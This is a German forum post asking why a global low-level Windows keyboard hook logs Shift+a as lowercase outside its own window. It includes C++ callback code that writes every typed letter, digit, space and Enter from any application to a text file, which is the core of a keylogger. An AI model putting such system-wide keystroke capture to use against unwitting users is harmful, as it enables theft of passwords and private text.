G
ok, ich hab's mittlerweile so weit hinbekommen, dass alles ganz gut funzt, mit nem globalen low-level keyboard hook... jetzt hab ich nur noch folgendes, mir unerklärliches problem:
wenn ich ein "A" (SHIFT+a) im hook-fenster mache, dann schreibt mir der hook auch ein "A" in die textdatei. mache ich jetzt aber außerhalb des hook-fensters ein "A" (SHIFT+a) dann macht er mir ein "a"... ich komm einfach nicht drauf wieso...
LRESULT CALLBACK myHookProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if( nCode < 0 )
return CallNextHookEx(aHook,nCode,wParam,lParam);
if( nCode == HC_ACTION && wParam==WM_KEYDOWN ) // Only keydown...
{
std::ofstream fout("c:\\test.txt",fout.app);
KBDLLHOOKSTRUCT hook = *((KBDLLHOOKSTRUCT*)lParam);
switch( hook.vkCode )
{
case VK_RETURN:
fout << std::endl;
break;
case VK_SPACE:
fout << " ";
break;
default:
if( hook.vkCode >= 48 && hook.vkCode <=90 ) // Only letters and numbers...
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
ToAscii(hook.vkCode,hook.scanCode,ks,&w,0);
fout << char(w);
fout.close();
}
break;
}
}
return CallNextHookEx(aHook,nCode,wParam,lParam);
}